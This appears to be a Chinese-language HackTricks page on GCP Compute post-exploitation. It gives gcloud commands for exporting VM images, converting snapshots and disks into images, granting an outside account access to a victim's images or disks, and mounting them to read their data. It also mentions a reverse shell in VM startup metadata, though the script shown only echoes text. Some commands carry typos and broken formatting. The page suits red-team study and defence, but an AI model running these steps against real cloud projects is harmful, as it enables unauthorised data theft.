GCP - Compute Post Exploitation

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Compute

有关 Compute 和 VPC (Networking) 的更多信息,请查看:

GCP - Compute Enum

在本地导出并检查镜像

这将允许攻击者访问已存在镜像中包含的数据创建正在运行的 VMs 的新镜像并在不访问正在运行的 VM 的情况下访问它们的数据。

可以将 VM 镜像导出到 bucket,然后下载并使用以下命令在本地挂载:

导出并下载 VM 镜像 ```bash gcloud compute images export --destination-uri gs:///image.vmdk --image imagetest --export-format vmdk # The download the export from the bucket and mount it locally ```

在执行此操作之前,攻击者可能需要对存储桶拥有权限,并且肯定需要对 cloudbuild 的权限,因为它是将被要求执行导出的 服务\
此外,为了使其生效,codebuild SA 和 compute SA 需要特权权限。\
cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com 需要:

  • roles/iam.serviceAccountTokenCreator
  • roles/compute.admin
  • roles/iam.serviceAccountUser

而 SA <project-id>-compute@developer.gserviceaccount.com 需要:

  • oles/compute.storageAdmin
  • roles/storage.objectAdmin

导出并在本地检查 Snapshots & Disks

无法直接导出快照和磁盘,但可以 将快照转换为磁盘,将磁盘转换为镜像,并按照 上一节,导出该镜像以在本地进行检查

从 snapshot 创建磁盘并从磁盘创建镜像 ```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

Create an image from a disk

gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]

</details>

### 检查用于创建 VM 的 image

为了访问**存储在 image 中的数据**,或访问攻击者**已创建 image,** 的**正在运行的 VM**内部的数据,可以将对该 image 的访问权限授予外部账户:

<details>

<summary>授予对 image 的访问并创建 VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

然后从它创建一个新的 VM:

从镜像创建 VM 实例 ```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```

如果你无法为你的外部账户通过 image 授予访问,你可以在受害者项目中使用该 image 启动一个 VM,并让元数据执行 reverse shell来访问该 image,添加参数:

在元数据中创建带 reverse shell 的 VM ```bash --metadata startup-script='#! /bin/bash echo "hello"; ' ```

检查快照/磁盘并将其附加到 VM

为了访问磁盘或快照中存储的数据,您可以将快照转换为磁盘,或将磁盘转换为镜像,然后按照前面的步骤操作。

或者您可以将对磁盘的访问权限授予外部账户(如果起点是快照,请对快照授予访问权限或先从快照创建磁盘):

授予磁盘访问权限 ```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```

附加磁盘 到实例:

将磁盘附加到实例 ```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```

在 VM 内挂载磁盘:

  1. SSH 进入 VM
SSH 到 VM 并挂载磁盘
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. 识别磁盘:进入 VM 后,通过列出磁盘设备来识别新磁盘。通常,你会看到 /dev/sdb/dev/sdc 等设备。
  2. 格式化并挂载磁盘(如果它是新的或原始磁盘):
  • 创建挂载点:
创建挂载点并挂载
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • 挂载磁盘:
挂载磁盘设备
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

如果你无法向外部项目授予对快照或磁盘的访问权限,你可能需要在与快照/磁盘相同项目的实例内执行这些操作

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks